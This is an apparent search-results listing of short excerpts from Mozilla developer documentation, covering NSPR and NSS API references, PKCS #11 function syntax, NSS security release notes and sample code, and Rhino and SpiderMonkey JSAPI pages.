... network address types and constants network address functions the api described in this chapter recognizes the emergence of internet protocol version 6 (ipv6).
PL_CompareStrings
compares two character strings.
... syntax #include <plhash.h> printn pl_comparestrings( const void *v1, const void *v2); description pl_comparestrings compares v1 and v2 as character strings using strcmp.
PL_HashTableLookup
syntax #include <plhash.h> void *pl_hashtablelookup( plhashtable *ht, const void *key); parameters the function has the following parameters: ht a pointer to the hash table in which to look up the entry specified by key.
... returns the value of the entry with the specified key, or null if there is no such entry.
PRDescIdentity
each layer has it own identity.
...it is then possible to scan the chain of layers and find a layer that one recognizes, then predict that it will implement a desired protocol.
PRIOMethods
description you don't need to know the type declaration for each function listed in the method table unless you are implementing a layer.
... for information about each function, see the corresponding function description in this document.
PRLinger
syntax #include <prio.h> typedef struct prlinger { prbool polarity; printervaltime linger; } prlinger; fields the structure has the following fields: polarity polarity of the option's setting: pr_false means the option is off, in which case the value of linger is ignored.
...the pr_sockopt_linger socket option, with a value represented by a structure of type prlinger, makes it possible to change this default as follows: if polarity is set to pr_false, pr_close returns immediately, but if there are any data remaining in the socket send buffer, the runtime attempts to deliver the data to the peer.
PRStaticLinkTable
if, during initialization, such entries are manually created, then future attempts to link to the symbols can be treated in a consistent fashion.
... syntax #include <prlink.h> typedef struct prstaticlinktable { const char *name; void (*fp)(); } prstaticlinktable; ...
PRThreadPriority
pr_priority_last placeholder description in general, an nspr thread of higher priority has a statistically better chance of running relative to threads of lower priority.
...this preference is still subject to resource availability and must not be used in place of proper synchronization.
PRTimeParameters
syntax #include <prtime.h> typedef struct prtimeparameters { print32 tp_gmt_offset; print32 tp_dst_offset; } prtimeparameters; description each geographic location has a standard time zone, and if daylight saving time (dst) is practiced, a daylight time zone.
... a second example is japan, which is 9 hours ahead of gmt.
PR_CALLBACK
syntax #include <prtypes.h>type pr_callbackimplementation description functions that are implemented in an application (or shared library) that are intended to be called from another shared library (such as nspr) must be declared with the pr_callback attribute.
... normally such functions are passed by reference (pointer to function).
PR_CExitMonitor
decrement the entry count associated with a cached monitor.
... description using the value specified in the address parameter to find a monitor in the monitor cache, pr_cexitmonitor decrements the entry count associated with the monitor.
PR_EXTERN
for syntax details for each platform, see prtypes.h.
... warning: some platforms do not allow the use of the underscore character (_) as the first character of an exported symbol.
PR_EnterMonitor
if the entry count is greater than zero and the calling thread is not recognized as the holder of the lock, the thread is blocked until the entry count reaches zero.
... when the entry count reaches zero (or if it is already zero), the entry count is incremented by one and the calling thread is recorded as the lock's holder.
PR EnumerateAddrInfo
enumerates each of the possible network addresses of a praddrinfo structure, acquired from pr_getaddrinfobyname.
...this parameter is not checked for validity.
PR_EnumerateHostEnt
evaluates each of the possible addresses of a prhostent structure, acquired from pr_gethostbyname or pr_gethostbyaddr.
...this parameter is not checked for validity.
PR_GetIdentitiesLayer
description the stack of layers to be searched is specified by the fd parameter, which is a layer in the stack.
... both the layers underneath fd and the layers above fd are searched to find the layer with the specified identity.
PR_GetLibraryName
syntax #include <prlink.h> char* pr_getlibraryname ( const char *dir, const char *lib); parameters the function has these parameters: dir a null-terminated string representing the path name of the library, as returned by pr_getlibrarypath.
... returns if successful, returns a new character string containing a constructed path name.
PR_GetProtoByName
syntax #include <prnetdb.h> prstatus pr_getprotobyname( const char* protocolname, char* buffer, print32 bufsize, prprotoent* result); parameters the function has the following parameters: protocolname a pointer to the character string of the protocol's name.
... buffer a pointer to a scratch buffer for the runtime to return result.
PR_GetProtoByNumber
syntax #include <prnetdb.h> prstatus pr_getprotobynumber( print32 protocolnumber, char* buffer, print32 bufsize, prprotoent* result); parameters the function has the following parameters: protocolnumber the number assigned to the protocol.
... buffer a pointer to a scratch buffer for the runtime to return result.
PR_GetUniqueIdentity
syntax #include <prio.h> prdescidentity pr_getuniqueidentity(const char *layer_name); parameter the function has the following parameter: layer_name the string associated with the creation of a layer's identity.
...if you're creating a custom i/o layer, cache the result, and then use that cached result every time you call pr_createiolayerstub.
PR_IMPLEMENT
for syntax details for each platform, see prtypes.h.
... warning: some platforms do not allow the use of the underscore character (_) as the first character of an exported symbol.
PR_InitializeNetAddr
this allows the caller to change the network address' port number assignment without affecting the host address.
...this wildcard value is typically used to establish a socket on which to listen for incoming connection requests.
PR_JoinThread
description pr_jointhread is used to synchronize the termination of a thread.
... the function is synchronous in that it blocks the calling thread until the target thread is in a joinable state.
PR_LoadLibrary
syntax #include <prlink.h> prlibrary* pr_loadlibrary(const char *name); parameters the function has this parameter: name a platform-dependent character array that names the library to be loaded, as returned by pr_getlibraryname.
... each call to pr_loadlibrary must be paired with a corresponding call to pr_unloadlibrary in order to return the runtime to its original state.
PR_NetAddrToString
converts a character string to a network address.
... syntax #include <prnetdb.h> prstatus pr_netaddrtostring( const prnetaddr *addr, char *string, pruint32 size); parameters the function has the following parameters: addr a pointer to the network address to be converted.
PR_NewTCPSocket
after a connection is established, the client and server may send and receive data between each other.
...new code should use pr_opentcpsocket instead, which allows the address family (ipv4 or ipv6) of the new tcp socket to be specified.
PR_NormalizeTime
for example, if you have a ] object that represents the date 3 march 1998 and you want to say "forty days from 3 march 1998", you can simply add 40 to the tm_mday field and then call pr_normalizetime().
...for example, suppose you want to compute the day of week for 3 march 1998.
PR_Poll
a count of the number of ready descriptors is returned unless a timeout occurs, in which case zero is returned.
...pr_poll uses the out_flags fields as scratch variables during the call.
PR_SetErrorText
syntax #include <prerror.h> void pr_seterrortext(printn textlength, const char *text) parameters the function has these parameters: textlength the length of the text in the text.
...otherwise the text is assumed to be the length specified and to possibly include null characters (as might occur in a multilingual string).
PR_cnvtf
syntax #include <prdtoa.h> void pr_cnvtf ( char *buf, printn bufsz, printn prcsn, prfloat64 fval); parameters the function has these parameters: buf the address of the buffer in which to store the result.
... prcsn the number of digits of precision to which to generate the floating point value.
PR_dtoa
syntax #include <prdtoa.h> prstatus pr_dtoa( prfloat64 d, printn mode, printn ndigits, printn *decpt, printn *sign, char **rve, char *buf, prsize bufsz); parameters the function has these parameters: d the floating point number to be converted to a string.
... buf the address of the buffer in which to store the result.
NSPR
nspr api reference the reference describes each api public macro, structure and function in the nspr api.
... nspr build instructions how to checkout and build from source.
CERT_FindCertByIssuerAndSN
rtissuerandsn *issuerandsn ); parameters handle in pointer to a certcertdbhandle representing the certificate database to look in issuerandsn in pointer to a certissuerandsn that must be properly formed to contain the issuer name and the serial number (see [example]) description this function creates a certificate key using the issuerandsn and it then uses the key to find the matching certificate in the database.
... returns a pointer to a certcertificate representing the certificate in the database that matched the issuer and serial number, or null if none was found.
Deprecated SSL functions
each function name is linked to its entry in the old ssl reference.
... the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
Using JSS
MozillaProjectsNSSJSSUsing JSS
using jss newsgroup: mozilla.dev.tech.crypto if you have already built jss, or if you are planning to use a binary release of jss, here's how to get jss working with your code.
... the exact library names vary according to the convention for each platform.
NSS Memory allocation
each block of memory allocated in a plarenapool is called a plarena.
...to solve that problem, it is generally necessary to disable the arena free list, so that arenas are actually freed back to the heap each time they are freed, and are allocated afresh from the heap each time they are allocated.
NSS 3.14.4 release notes
introduction network security services (nss) 3.14.4 is a patch release for nss 3.14.
...this release is a patch release to address cve-2013-1739.
NSS 3.14.5 release notes
introduction network security services (nss) 3.14.5 is a patch release for nss 3.14.
...this release is a patch release to address cve-2013-5605.
NSS 3.15.3.1 release notes
introduction network security services (nss) 3.15.3.1 is a patch release for nss 3.15.
...this is a patch release to revoke trust of a subordinate ca certificate that was mis-used to generate a certificate used by a network appliance.
NSS 3.15.3 release notes
introduction network security services (nss) 3.15.3 is a patch release for nss 3.15.
...this release is a patch release to address cve-2013-1741, cve-2013-5605 and cve-2013-5606.
NSS 3.17.3 release notes
introduction network security services (nss) 3.17.3 is a patch release for nss 3.17.
... notable changes in nss 3.17.3 the quickder decoder now decodes lengths robustly (cve-2014-1569).
NSS 3.21.2 release notes
introduction network security services (nss) 3.21.2 is a security patch release for nss 3.21.1.
... security fixes in nss 3.21.2 bug 1293334 / cve-2016-9074 - fixed a timing side channel in the tls cbc code.
NSS 3.21.3 release notes
introduction network security services (nss) 3.21.3 is a security patch release for nss 3.21.2.
... security fixes in nss 3.21.3 bug 1306103 / cve-2016-5285 - fixed a possible dos on nss servers due to a missing null check.
NSS 3.21.4 release notes
introduction network security services (nss) 3.21.4 is a security patch release for nss 3.21.
... bugs fixed in nss 3.21.4 bug 1344380 / out-of-bounds write in base64 encoding in nss (cve-2017-5461) bug 1345089 / drbg flaw in nss (cve-2017-5462) acknowledgements the nss development team would like to thank ronald crane and vladimir klebanov for responsibly disclosing the issues by providing advance copies of their research.
NSS 3.26 release notes
introduction the network security services (nss) team has released nss 3.26, which is a minor release.
...utions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_26_rtm/src/ new in nss 3.26 new functionality the selfserv test utility has been enhanced to support alpn (http/1.1) and 0-rtt added support for the system-wide crypto policy available on fedora linux, see http://fedoraproject.org/wiki/changes/cryptopolicy introduced build flag nss_disable_libpkix which allows compilation of nss without the libpkix library notable changes in nss 3.26 the following ca certificate was added cn = isrg root x1 sha-256 fingerprint: 96:bc:ec:06:26:49:76:f3:74:60:77:9a:cf:28:c5:a7:cf:e8:a3:c0:aa:e1:1a:8f:fc:ee:05:c0:bd:df:08:c6 npn is disabled, and alpn is enabled by...
NSS 3.28.4 release notes
introduction network security services (nss) 3.28.4 is a security patch release for nss 3.28.
... bugs fixed in nss 3.28.4 bug 1344380 / out-of-bounds write in base64 encoding in nss (cve-2017-5461) bug 1345089 / drbg flaw in nss (cve-2017-5462) bug 1342358 - crash in tls13_destroykeyshares acknowledgements the nss development team would like to thank ronald crane and vladimir klebanov for responsibly disclosing the issues by providing advance copies of their research.
NSS 3.29.2 release notes
introduction network security services (nss) 3.29.2 is a patch release for nss 3.29.
... bugs fixed in nss 3.29.2 nss 3.29 and 3.29.1 included a change that reduced the time that nss considered a tls session ticket to be valid.
NSS 3.29.3 release notes
introduction network security services (nss) 3.29.3 is a patch release for nss 3.29.
... notable changes in nss 3.29.3 a rare crash when initializing an ssl socket fails has been fixed.
NSS 3.29.5 release notes
introduction network security services (nss) 3.29.5 is a security patch release for nss 3.29.
... bugs fixed in nss 3.29.5 bug 1344380 / out-of-bounds write in base64 encoding in nss (cve-2017-5461) bug 1345089 / drbg flaw in nss (cve-2017-5462) acknowledgements the nss development team would like to thank ronald crane and vladimir klebanov for responsibly disclosing the issues by providing advance copies of their research.
NSS 3.29 release notes
introduction the network security services (nss) team has released nss 3.29, which is a minor release.
... nss 3.29 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_29_rtm/src/ notable changes in nss 3.29 fixed a nss 3.28 regression in the signature scheme flexibility that causes connectivity issues between ios 8 clients and nss servers with ecdsa certificates (bug1334114).
NSS 3.30.1 release notes
introduction network security services (nss) 3.30.1 is a security patch release for nss 3.30.
... bugs fixed in nss 3.30.1 bug 1344380 / out-of-bounds write in base64 encoding in nss (cve-2017-5461) acknowledgements the nss development team would like to thank ronald crane for responsibly disclosing the issue by providing advance copies of their research.
NSS 3.34.1 release notes
introduction the network security services (nss) team has released nss 3.34.1, which is a minor release.
... nss 3.34.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_34_1_rtm/src/ notable changes in nss 3.34.1 the following ca certificate was re-added.
NSS 3.36.2 release notes
introduction network security services (nss) 3.36.2 is a patch release for nss 3.36.
...this is a patch release to fix regression bugs.
NSS 3.36.4 release notes
introduction network security services (nss) 3.36.4 is a patch release for nss 3.36.
...this is a patch release to fix regression bugs.
NSS 3.36.5 release notes
introduction network security services (nss) 3.36.5 is a patch release for nss 3.36.
...this is a patch release to fix cve-2018-12384 bugs fixed in nss 3.36.5 bug 1483128 - nss responded to an sslv2-compatible clienthello with a serverhello that had an all-zero random (cve-2018-12384) compatibility nss 3.36.5 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.36.6 release notes
introduction network security services (nss) 3.36.6 is a patch release for nss 3.36.
...this is a patch release to fix cve-2018-12404 bugs fixed in nss 3.36.6 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) bug 1389967 and bug 1448748 - fixes for mingw on x64 platforms.
NSS 3.37.1 release notes
introduction network security services (nss) 3.37.1 is a patch release for nss 3.37.
...this is a patch release to fix regression bugs.
NSS 3.37.3 release notes
introduction network security services (nss) 3.37.3 is a patch release for nss 3.37.
...this is a patch release to fix regression bugs.
NSS 3.40.1 release notes
introduction the nss team has released network security services (nss) 3.40.1, which is a patch release for nss 3.40 distribution information the hg tag is nss_3_40_1_rtm.
...this is a patch release to fix cve-2018-12404 new functions none bugs fixed in nss 3.40.1 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) compatibility nss 3.40.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.42.1 release notes
introduction the nss team has released network security services (nss) 3.42.1 on 31 january 2019, which is a patch release.
... bugs fixed in nss 3.42.1 bug 1507135 and bug 1507174 - add additional null checks to several cms functions to fix a rare cms crash.
NSS 3.44.1 release notes
introduction network security services (nss) 3.44.1 is a patch release for nss 3.44.
... new in nss 3.44.1 new functionality 1546229 - add ipsec ike support to softoken many new fips test cases (note: this has increased the source archive by approximately 50 megabytes for this release.) bugs fixed in nss 3.44.1 1554336 - optimize away unneeded loop in mpi.c 1515342 - more thorough input checking (cve-2019-11729) 1540541 - don't unnecessarily strip leading 0's from key material during pkcs11 import (cve-2019-11719) 1515236 - add a sslkeylogfile enable/disable flag at build.sh 1473806 - fix secke...
NSS 3.48.1 release notes
introduction network security services (nss) 3.48.1 is a patch release for nss 3.48.
... bugs fixed in nss 3.48.1 bug 1606992 - cache the most recent pbkdf2 password hash, to speed up repeated sdr operations, important with the increased kdf iteration counts.
NSS 3.49.1 release notes
introduction network security services (nss) 3.49.1 is a patch release for nss 3.49.
... bugs fixed in nss 3.49.1 bug 1606992 - cache the most recent pbkdf2 password hash, to speed up repeated sdr operations, important with the increased kdf iteration counts.
NSS 3.49.2 release notes
introduction network security services (nss) 3.49.2 is a patch release for nss 3.49.
... bugs fixed in nss 3.49.2 bug 1606992 - cache the most recent pbkdf1 password hash, to speed up repeated sdr operations, important with the increased kdf iteration counts.
NSS 3.51.1 release notes
this is a minor release focusing on functional bug fixes and low-risk patches only.
... notable changes in nss 3.51.1 bug 1617968 - update delegated credentials implementation to draft-07.
NSS 3.53.1 release notes
this is a security patch release.
... thank you to sohaib ul hassan, billy bob brumley, and the network and information security group (nisec) at tampere university for reporting this issue and providing a patch.
Release notes for recent versions of NSS
the current stable release of nss is 3.56, which was released on 21 august 2020.
... (nss 3.56 release notes) the current esr releases of nss are 3.44.4 (nss 3.44.4 release notes), intended for firefox esr 68, which was released on 19 may 2020, and 3.53.1 (nss 3.53.1 release notes), intended for firefox esr 78, which was released on 16 june 2020.
NSS Sample Code sample3
sample code 3: hashing, mac /* * demonstration program for hashing and macs */ #include <iostream.h> #include "pk11pub.h" #include "nss.h" static void printdigest(unsigned char *digest, unsigned int len) { int i; cout << "length: " << len << endl; for(i = 0;i < len;i++) printf("%02x ", digest[i]); cout << endl; } /* * main */ int main(int argc, const char *argv[]) { int status = 0; pk11slotinfo *slot = 0; pk11symkey *key = 0; pk11context *context = 0; unsigned char data[80]; unsigned char digest[20]; /*is there a way to tell how large the output is?*/ unsigned int len; secstatus s; /* initialize nss * if your application code has already initialized nss, you can skip it * here.
... * this code uses the simplest of the init functions, which does not * require a nss database to exist */ nss_nodb_init("."); /* get a slot to use for the crypto operations */ slot = pk11_getinternalkeyslot(); if (!slot) { cout << "getinternalkeyslot failed" << endl; status = 1; goto done; } /* * part 1 - simple hashing */ cout << "part 1 -- simple hashing" << endl; /* initialize data */ memset(data, 0xbc, sizeof data); /* create a context for hashing (digesting) */ context = pk11_createdigestcontext(sec_oid_md5); if (!context) { cout << "createdigestcontext failed" << endl; goto done; } s = pk11_digestbegin(context); if (s != secsuccess) { cout << "digestbegin failed" << endl; goto done; } s = pk11_digestop(context, data, siz...
NSS Sample Code sample5
lzpziekw1biysw3pag1tpittmmdl1v6t//x1xpcga7nrsldhz4widaqabakeajh8+4qncwcmgivnm6ytbpqt+k/jeoexg2bqhjojvnxn3fazgcefxvpuibcjvfaijs9ybcmozzrato0+k2hwnoqihaoc4nvbo8fqhzs4yxm1m86kml47fa9ui//oufbhladw1aiea2dbmixnsbokb+ohver69p0gnewlvcjc9bjdvfdlvslcciqcptv3vgyjv2vdwxqzqahc+yb4gigaqoqbcbmjd3lyflqiga+vtydunoqwtzwve4grf7izk2v5ccnhg3gr5rgwxn58cigccaforruksm66isg0iti04g9v/w+wmx91wjeeb+qbz" int main(int argc, char **argv) { secstatus rv; certcertificate *cert = null; seckeypublickey *pubkey = null; certsubjectpublickeyinfo *spki = null; seckeyprivatekey *pvtkey = null; int modulus_len, i, outlen; char *buf1 = null; char *buf2 = null; char *pubkstr = base64_encoded_subjectpublickeyinfo; char *pvtkstr = bas...
...to cleanup; } spki = seckey_decodedersubjectpublickeyinfo(&der); secitem_freeitem(&der, pr_false); pubkey = seckey_extractpublickey(spki); if (pubkey == null) { fprintf(stderr, "couldn't extract public key (err %d)\n", pr_geterror()); goto cleanup; } modulus_len = seckey_publickeystrength(pubkey); fprintf(stderr, "public key modulus %d bytes\n", modulus_len); buf1 = (char *)malloc(modulus_len); buf2 = (char *)malloc(modulus_len); /* initialize buf1 */ for (i=0;i<modulus_len;i++) { buf1[i]= (i %26) + 'a'; } buf1[modulus_len-1] = '\0'; fprintf(stderr, "buffer being encrypted = \n%s\n", buf1); /* encrypt buf1, result will be in buf2 */ rv = pk11_pubencryptraw(pubkey, buf2, buf1, modulus_len, null); if (rv != secsuccess) { fprintf(std...
PKCS 12 functions
the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
... the nss version column indicates which versions of nss support the function.
FC_DecryptInit
syntax ck_rv fc_decryptinit( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_object_handle hkey ); parameters hsession [in] session handle.
... pmechanism [in] mechanism to be used for the subsequent decryption operation.
FC_DeriveKey
name fc_derivekey - derive a key from a base key syntax ck_rv fc_derivekey( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_object_handle hbasekey, ck_attribute_ptr ptemplate, ck_ulong usattributecount, ck_object_handle_ptr phkey ); parameters hsession [in] session handle.
... pmechanism [in] pointer to the mechanism to use.
FC_DigestInit
syntax ck_rv fc_digestinit( ck_session_handle hsession, ck_mechanism_ptr pmechanism ); parameters hsession [in] session handle.
... pmechanism [in] mechanism to be used for the subsequent digest operation.
FC_FindObjects
name fc_findobjects - search for one or more objects syntax ck_rv fc_findobjects( ck_session_handle hsession, ck_object_handle_ptr phobject, ck_ulong usmaxobjectcount, ck_ulong_ptr pusobjectcount ); parameters hsession [in] session handle.
... description fc_findobjects returns the next set of object handles matching the criteria set up by the previous call to fc_findobjectsinit and sets the object count variable to their number or to zero if there are none.
FC_FindObjectsFinal
name fc_findobjectsfinal - terminate an object search.
... description clears the object search criteria for a session.
FC_GenerateKey
name fc_generatekey - generate a new key syntax ck_rv fc_generatekey( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_attribute_ptr ptemplate, ck_ulong ulcount, ck_object_handle_ptr phkey ); parameters hsession [in] session handle.
... pmechanism [in] pointer to the mechanism to use.
FC_GenerateKeyPair
name fc_generatekeypair - generate a new public/private key pair syntax ck_rv fc_generatekeypair( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_attribute_ptr ppublickeytemplate, ck_ulong uspublickeyattributecount, ck_attribute_ptr pprivatekeytemplate, ck_ulong usprivatekeyattributecount, ck_object_handle_ptr phpublickey, ck_object_handle_ptr phprivatekey ); parameters hsession [in] session handle.
... pmechanism [in] pointer to the mechanism to use.
FC_GetInfo
manufacturerid: the pkcs #11 library manufacturer, "mozilla foundation", padded with spaces to 32 characters and not null-terminated.
... librarydescription: description of the library, "nss internal crypto services", padded with spaces to 32 characters and not null-terminated.
FC_InitToken
syntax ck_rv fc_inittoken( ck_slot_id slotid, ck_char_ptr ppin, ck_ulong ulpinlen, ck_char_ptr plabel ); parameters fc_inittoken() has the following parameters: slotid the id of the token's slot ppin the password of the security officer (so) ulpinlen the length in bytes of the so password plabel points to the label of the token, which must be padded with spaces to 32 bytes and not be null-terminated description fc_inittoken() initializes a brand new token or re-initializes a token that was initialized before.
...you won't be able to decrypt the data, such as mozilla's stored passwords, that were encrypted using any of those keys.
FC_SignInit
syntax ck_rv fc_signinit( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_object_handle hkey ); parameters hsession [in] session handle.
... pmechanism [in] mechanism to be used for the subsequent signing operation.
FC_SignRecoverInit
syntax ck_rv fc_signrecoverinit( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_object_handle hkey ); parameters hsession [in] session handle.
... pmechanism [in] mechanism to be used for the signing operation.
FC_UnwrapKey
name fc_unwrapkey - unwrap a key syntax ck_rv fc_unwrapkey( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_object_handle hunwrappingkey, ck_byte_ptr pwrappedkey, ck_ulong uswrappedkeylen, ck_attribute_ptr ptemplate, ck_ulong usattributecount, ck_object_handle_ptr phkey ); parameters hsession [in] session handle.
... pmechanism [in] pointer to the mechanism to use.
FC_VerifyInit
syntax ck_rv fc_verifyinit( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_object_handle hkey ); parameters hsession [in] session handle.
... pmechanism [in] mechanism to be used for the verification operation.
FC_VerifyRecoverInit
syntax ck_rv fc_verifyrecoverinit( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_object_handle hkey ); parameters hsession [in] session handle.
... pmechanism [in] mechanism to be used for verification.
FC_WrapKey
name fc_wrapkey - wrap a key syntax ck_rv fc_wrapkey( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_object_handle hwrappingkey, ck_object_handle hkey, ck_byte_ptr pwrappedkey, ck_ulong_ptr puswrappedkeylen ); parameters hsession [in] session handle.
... pmechanism [in] pointer to the mechanism to use.
NSC_InitToken
syntax ck_rv nsc_inittoken( ck_slot_id slotid, ck_char_ptr ppin, ck_ulong ulpinlen, ck_char_ptr plabel ); parameters nsc_inittoken() has the following parameters: slotid the id of the token's slot ppin the password of the security officer (so) ulpinlen the length in bytes of the so password plabel points to the label of the token, which must be padded with spaces to 32 bytes and not be null-terminated description nsc_inittoken() initializes a brand new token or re-initializes a token that was initialized before.
...you won't be able to decrypt the data, such as mozilla's stored passwords, that were encrypted using any of those keys.
NSS Tools certutil-tasks
nss security tools: certutil tasks newsgroup: mozilla.dev.tech.crypto task list better error reporting.
... (bugfix) listing certificate extensions has typos and does not provide much information.
NSS Tools dbck-tasks
nss security tools: dbck tasks newsgroup: mozilla.dev.tech.crypto task list in analyze mode, there should be an option to create a file containing a graph of the certificate database without any information about the user's certificates (no common names, email addresses, etc.).
...there should be command-line options and, perhaps, an interactive mode to allow determine which certificates to keep.
Necko
eventually we'd like to move to a binary distribution mechanism for the networking library so that you can build your application that uses this library without having to build mozilla.
... browse our code in its latest state at netwerk/ documents a necko code walkthrough necko architecture necko multithreading necko faq necko interfaces overview the necko http module proxies in necko pac files community view mozilla forums...
Pork Tools
if (result) return nsnull; // error returns are changed to nsnull //instead ns_ok, actual result is returned return result; } caller1 { //case 1 nsresult rv; rv = getter(&var); ns_ensure_success(rv,rv); //case 2: naked call getter(&var); //case 3: nsresult decl nsresult rv2 = getter(&var); ns_ensure_success(rv2,rv2); } caller1 { // case 1 // figure out that rv was only used for the rewritten // outparam call + n...
...then nuke the declaration // nsresult rv; // move outparam to lhs var = getter(); // detect ns_ensure_success immediately following // and change it to an equivalent ns_ensure_true ns_ensure_true(var, ns_error_failure); // case 2 var = getter(); // case 3, eliminate rv2 decl given that it's not used elsewhere var = getter(); ns_ensure_true(var, ns_error_failure) } outparamdel also support rewriting getters such that they return already_addrefed<nsifoo>.
Download Rhino
binaries release release date change log download link rhino 1.7r4 2012-06-18 new in rhino 1.7r4 rhino1_7r4.zip rhino 1.7r5 2015-01-29 release notes rhino1_7r5.zip rhino 1.7.6 2015-04-15 release notes rhino1.7.6.zip rhino 1.7.7 2015-06-17 release notes rhino1.7.7.zip rhino 1.7.7.1 2016-02-01 release notes rhino1.7.7.1.zip rhino 1.7.7.2 2017-08-24 release notes rhino1.7.7.2.zip rhino 1.7.8 2018-01-22 release notes rhino1.7.8.zip rhino 1.7.9 2018-03-15 release notes rhino1.7.9.zip rhino 1.7.10 2018-04-09 release notes rhino1.7.10.zip ...
... rhino 1.7.11 2019-05-30 release notes rhino1.7.11.zip rhino 1.7.12 2020-01-13 release notes rhino1.7.12.zip to download older rhino versions, see the rhino downloads archive.
Rhino Examples
the checkparam.js script is a useful tool to check that @param tags in java documentation comments match the parameters in the corresponding java method.
...implementing host objects first check out the tutorial if you haven't already.
Rhino license
* * this software is provided by the copyright holders and contributors "as * is" and any express or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed.
...ry, or consequential damages (including, but not limited to, * procurement of substitute goods or services; loss of use, data, or * profits; or business interruption) however caused and on any theory of * liability, whether in contract, strict liability, or tort (including * negligence or otherwise) arising in any way out of the use of this * software, even if advised of the possibility of such damage.
Shumway
shumway has certain limitations compared to adobe flash player especially when unavoidable patents (such as those surrounding flash drm) get in the way.
...this would be very much appreciated.
Bytecodes
bytecodes can reference atoms and objects (typically by array index) which are also contained in the jsscript data structure.
...for example, in (a + b) + c you would push a, then push b, then add, then push c, then add, which requires a maximum depth of two expression slots.
BOOLEAN_TO_JSVAL
cast a c integer to a boolean js::value without any type checking or error handling.
... see also mxr id search for boolean_to_jsval js::booleanvalue bug 1177892 -- removed ...
INT_TO_JSVAL
starting in spidermonkey 1.8.5, jsval can store a full 32-bit integer, so this check isn't needed any longer for 32-bit integers.") }} if i does not fit into a jsval (see int_fits_in_jsval), the behavior is undefined.
... see also mxr id search for int_to_jsval js::toint32 js::int32value bug 1177892 -- removed ...
JS::Construct
syntax bool js::construct(jscontext *cx, js::handlevalue fun, const js::handlevaluearray& args, js::mutablehandlevalue rval); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... see also mxr id search for js::construct js::call js_callfunction js_callfunctionname js_callfunctionvalue bug 1017109 ...
JS::CreateError
, mutablehandlevalue rval); // obsolete since jsapi 39 bool js::createerror(jscontext *cx, jsexntype type, handlestring stack, handlestring filename, uint32_t linenumber, uint32_t columnnumber, jserrorreport *report, handlestring message, mutablehandlevalue rval); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... see also mxr id search for js::createerror jsexntype jserrorreport bug 984048 bug 1038238 -- change stack parameter from js::handlestring to js::handleobject ...
JS::GetDeflatedUTF8StringLength
this article covers features introduced in spidermonkey 38 returns the length of the char buffer required to encode given string as utf8.
... description js::getdeflatedutf8stringlength returns the length of the char buffer required to encode s as utf8.
JS::GetFirstArgumentAsTypeHint
syntax bool js::getfirstargumentastypehint(jscontext* cx, callargs args, jstype *result); name type description cx jscontext * the context in which to define functions.
... see also mxr id search for js::getfirstargumentastypehint bug 1054756 - added ...
JS::MutableHandle
the underlying storage can be changed.
...andle<jsfunction*> mutablehandlefunction; typedef mutablehandle<jsid> mutablehandleid; typedef mutablehandle<jsobject*> mutablehandleobject; typedef mutablehandle<jsscript*> mutablehandlescript; typedef mutablehandle<jsstring*> mutablehandlestring; typedef mutablehandle<js::symbol*> mutablehandlesymbol; typedef mutablehandle<value> mutablehandlevalue; } see also mxr id search for js::mutablehandle mxr id search for js::mutablehandlefunction mxr id search for js::mutablehandleid mxr id search for js::mutablehandleobject mxr id search for js::mutablehandlescript mxr id search for js::mutablehandlestring mxr id search for js::mutablehandlesymbol mxr id search for js::mutablehandlevalue js::rooted js::handle gc rooting guide bug 770759 bug 761391 - added js::m...
JS::NewFunctionFromSpec
syntax jsfunction* js::newfunctionfromspec(jscontext* cx, const jsfunctionspec* fs, handleid id); name type description cx jscontext * the context in which to define functions.
... see also mxr id search for js::newfunctionfromspec js_definefunctions bug 1054756 - added ...
JS::OrdinaryToPrimitive
syntax bool js::ordinarytoprimitive(jscontext *cx, js::handleobject obj, jstype type, js::mutablehandlevalue vp); name type description cx jscontext * the context in which to perform the conversion.
... see also mxr id search for js::ordinarytoprimitive js::tonumber js::toboolean js::tostring bug 1103152 ...
JS::PropertySpecNameEqualsId
syntax bool js::propertyspecnameequalsid(const char *name, js::handleid id); name type description name const char * jspropertyspec::name or jsfunctionspec::name.
... see also mxr id search for js::propertyspecnameequalsid js::propertyspecnameissymbol js::propertyspecnametopermanentid jspropertyspec jsfunctionspec bug 1082672 ...
JS::PropertySpecNameIsSymbol
syntax bool js::propertyspecnameissymbol(const char *name); name type description name const char * the pointer of the name, actually the uintptr_t type, and not a pointer to any string.
... see also mxr id search for js::propertyspecnameissymbol js::propertyspecnameequalsid js::propertyspecnametopermanentid jspropertyspec jsfunctionspec bug 1082672 ...
JS::ProtoKeyToId
syntax void js::protokeytoid(jscontext *cx, jsprotokey key, js::mutablehandleid idp); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... see also mxr id search for js::protokeytoid js_idtoprotokey bug 987669 ...
JS::ToInt32
syntax bool js::toint32(jscontext *cx, js::handlevalue v, int32_t *out); name type description cx jscontext * the context in which to perform the conversion.
... see also mxr id search for js::toint32 bug 739541 ...
JS::ToInt64
syntax bool js::toint64(jscontext *cx, js::handlevalue v, int64_t *out); name type description cx jscontext * the context in which to perform the conversion.
... see also mxr id search for js::toint64 bug 742188 ...
JS::ToNumber
